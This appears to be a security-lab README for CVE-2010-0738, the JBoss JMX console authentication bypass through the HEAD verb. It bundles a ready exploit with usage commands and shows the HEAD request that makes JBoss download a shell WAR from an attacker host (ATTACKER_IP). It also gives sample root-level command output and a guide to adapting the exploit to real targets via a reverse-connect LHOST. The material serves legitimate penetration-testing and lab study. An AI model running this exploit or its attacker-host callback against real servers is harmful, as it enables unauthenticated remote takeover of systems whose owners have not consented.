All labs
CVE-2010-0738high

JBoss JMX Console Authentication Bypass + RCE

Red Hat JBoss Enterprise Application Platform / JBoss AS

Authentication Bypass → Remote Code Execution (RCE)

Download sandbox (13 KB)Includes Dockerfile, docker-compose, exploit, verify.sh, and this README.

CVE-2010-0738 — JBoss JMX Console Authentication Bypass + RCE

Overview

FieldValue
CVECVE-2010-0738
SoftwareRed Hat JBoss Enterprise Application Platform / JBoss AS
Version TestedJBoss AS 6.1.0.Final (community; same vulnerability in EAP 4.2/4.3)
Vulnerable RangeJBoss EAP 4.2 < 4.2.0.CP09 ; JBoss EAP 4.3 < 4.3.0.CP08 ; JBoss AS 4.x/5.x/6.x with default jmx-console config
TypeAuthentication Bypass → Remote Code Execution (RCE)
CVSS7.5 (CVSSv2)
AuthenticationNot required
CWECWE-264 (Permissions, Privileges, and Access Controls)

The jmx-console web application shipped with JBoss restricts access using a Java Servlet security constraint, but only lists GET and POST as protected HTTP methods. Per the Servlet specification, any HTTP verb not listed in the <http-method> elements bypasses the constraint entirely. An unauthenticated attacker can send a HEAD request to reach the GET handler of the JMX console, invoke the MainDeployer MBean to deploy a remote WAR file, and achieve unauthenticated remote code execution.

Quick Start

bash verify.sh

This builds the vulnerable environment, starts JBoss, deploys a malicious WAR via a HEAD request (no credentials), executes id, and prints the output. Zero manual steps required.

Environment

  • Image: vulhub/jboss:as-6.1.0 (base) with custom vulnerable web.xml
  • JBoss Port: 8080 → HTTP (JBoss AS 6.1.0.Final)
  • Credentials (irrelevant): admin / jboss — bypassed by the exploit
  • Setup time: ~60–90s for JBoss to fully start on first run
docker compose up -d           # start
docker compose logs -f         # watch startup logs
docker compose down            # teardown
docker exec cve-2010-0738-victim cat /tmp/rce_proof.txt  # read proof

Exploit

How It Works

Root cause — vulnerable web.xml:

<security-constraint>
  <web-resource-collection>
    <url-pattern>/*</url-pattern>
    <http-method>GET</http-method>   <!-- only GET... -->
    <http-method>POST</http-method>  <!-- ...and POST are protected -->
  </web-resource-collection>
  <auth-constraint>
    <role-name>JBossAdmin</role-name>
  </auth-constraint>
</security-constraint>

The Servlet 2.3–2.5 specification states: when <http-method> elements are present, the security constraint applies only to the listed methods. Methods not listed (HEAD, PUT, DELETE, TRACE, etc.) fall outside the constraint and are permitted without authentication. The HEAD verb is processed by the same servlet handler as GET but suppresses the response body.

Exploit steps:

  1. ProbeGET /jmx-console/ returns HTTP 401 (auth enforced for GET).
  2. Auth bypassHEAD /jmx-console/ returns HTTP 200 (auth bypassed!).
  3. WAR deployment — The exploit starts an embedded HTTP server and sends:
    HEAD /jmx-console/HtmlAdaptor?
      action=invokeOpByName&
      name=jboss.system:service=MainDeployer&
      methodName=deploy&
      argType=java.lang.String&
      arg0=http://ATTACKER_IP:PORT/shell.war
    
    JBoss downloads and deploys shell.war from the attacker's HTTP server.
  4. RCE — The deployed /shell/shell.jsp?cmd=id returns uid=0(root).

Why MainDeployer and not DeploymentFileRepository?

The jboss.admin:service=DeploymentFileRepository MBean exists in JBoss 4.x and was used by the original worm / jboss-autopwn. In JBoss 6.x (used here for better Docker availability), the equivalent is jboss.system:service=MainDeployer with methodName=deploy and argType=java.lang.String. Both approaches exploit the same HTTP verb bypass — only the deployment vector differs.

Manual Usage

# 1. Start environment
docker compose up -d

# 2. Wait for JBoss (~60-90s):
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/jmx-console/
# Returns 401 when ready

# 3. Install Python dependencies
pip install -r exploit/requirements.txt

# 4. Get the Docker bridge IP (needed so JBoss can reach your HTTP server)
LHOST=$(docker exec cve-2010-0738-victim ip route | grep default | awk '{print $3}')

# 5. Run exploit
python3 exploit/exploit.py --target http://localhost:8080 --lhost "$LHOST" --cmd "id"

Expected Output

=================================================================
  CVE-2010-0738 — JBoss JMX Auth Bypass + RCE
  HTTP Verb Manipulation → Unauthenticated WAR Deployment
=================================================================

[Phase 1] Probing http://127.0.0.1:8080
    GET  /jmx-console/ => HTTP 401 (auth enforced — good)
    HEAD /jmx-console/ => HTTP 200 (HEAD bypasses auth — CVE-2010-0738 CONFIRMED)

[Phase 2] WAR server on 0.0.0.0:58401, URL: http://172.19.0.1:58401/shell.war

[Phase 3] Deploying WAR via HEAD request (no credentials)...
    HEAD http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&...
    [HTTP] Served shell.war to 172.19.0.2
    HTTP 200 (auth bypassed)

[Phase 4] Waiting for JBoss to deploy the WAR (up to 30s)...
    [1s] Shell deployed — HTTP 200

[Phase 5] Executing command: 'id && hostname && uname -a'

=================================================================
  [+] EXPLOITATION SUCCESSFUL — STRONG RCE EVIDENCE
=================================================================
  Target:   http://127.0.0.1:8080
  Command:  id && hostname && uname -a
  Output:
    uid=0(root) gid=0(root) groups=0(root)
    53e766a585f8
    Linux 53e766a585f8 6.8.0-90-generic ...
=================================================================

Pentest Adaptation Guide

Target Discovery

Identify JBoss instances and confirm the vulnerability:

# Banner grab / service detection
nmap -sV -p 8080,8443,4848 <target>

# Nmap script (native CVE-2010-0738 detection)
nmap --script=http-vuln-cve2010-0738 \
     --script-args 'http-vuln-cve2010-0738.paths={/jmx-console/}' \
     -p 8080 <target>

# Manual: check if HEAD bypasses auth
curl -s -o /dev/null -w "%{http_code}" -X HEAD http://<target>:8080/jmx-console/
# 200 = vulnerable, 401 = patched or requires all-method auth

Adapting the Exploit

  1. Target: Replace --target http://127.0.0.1:8080 with the actual target URL.
  2. LHOST: Replace --lhost with an IP that the target JBoss server can reach back to. This is your machine's IP or a pivot host — not localhost.
  3. Port: If the target is behind a firewall, use a port allowed outbound (e.g., 80, 443). Change --lport PORT accordingly.
  4. HTTPS: If the JMX console is on HTTPS, change the target URL; the exploit disables certificate verification by default (verify=False).
  5. Path: Some deployments use /jmx-console under a non-default context path. Inspect the server response to confirm the path.
# Example against a real authorized target
python3 exploit/exploit.py \
    --target http://10.10.10.50:8080 \
    --lhost 10.10.14.20 \
    --lport 443 \
    --cmd "id"

Safe Verification (non-destructive)

To confirm the vulnerability without deploying a WAR:

# Check auth bypass with HEAD (no side effects)
curl -v -X HEAD http://<target>:8080/jmx-console/HtmlAdaptor \
     -H "Host: <target>"
# 200 OK = vulnerable; 401 = patched

# Use Metasploit's "check" command (no exploitation)
msfconsole -q -x "
  use exploit/multi/http/jboss_maindeployer;
  set RHOSTS <target>;
  set RPORT 8080;
  check;
  exit
"

Prefer check over run when just confirming the vulnerability in production.

Evidence Collection

Capture the following for a pentest report:

  1. HTTP 200 on HEAD: Screenshot/capture showing HEAD /jmx-console/ returns 200 while GET /jmx-console/ returns 401.
  2. Command output: The id output showing uid=0(root) (or the service account).
  3. Hostname: hostname confirms which machine was exploited.
  4. Timestamp: Note the exact time for log correlation.
  5. WAR URL in JBoss logs: The server log entry INFO [MainDeployer] deploy, url=http://ATTACKER/shell.war from /jboss-6.1.0.Final/server/default/log/server.log provides server-side proof.

What NOT to do in production:

  • Do not deploy a reverse shell or Meterpreter payload (service disruption risk)
  • Do not use Runtime.exec with rm -rf or other destructive commands
  • Do not deploy multiple WARs — redeploy conflicts cause server errors
  • Undeploy your test WAR after confirming the vulnerability
# Clean up: undeploy your test WAR after assessment
curl -u admin:PASS "http://<target>:8080/jmx-console/HtmlAdaptor?\
action=invokeOpByName&name=jboss.system:service=MainDeployer&\
methodName=undeploy&argType=java.lang.String&arg0=http://YOURIP/shell.war"

CVSS Context

MetricValueRationale
Attack VectorNetworkExploitable over HTTP, no local access needed
Attack ComplexityLowNo special conditions required
AuthenticationNoneNo credentials needed — auth bypassed by design
Confidentiality ImpactPartialCan read files via shell
Integrity ImpactPartialCan write files, deploy apps
Availability ImpactPartialCan restart/crash JBoss
CVSSv2 Score7.5

References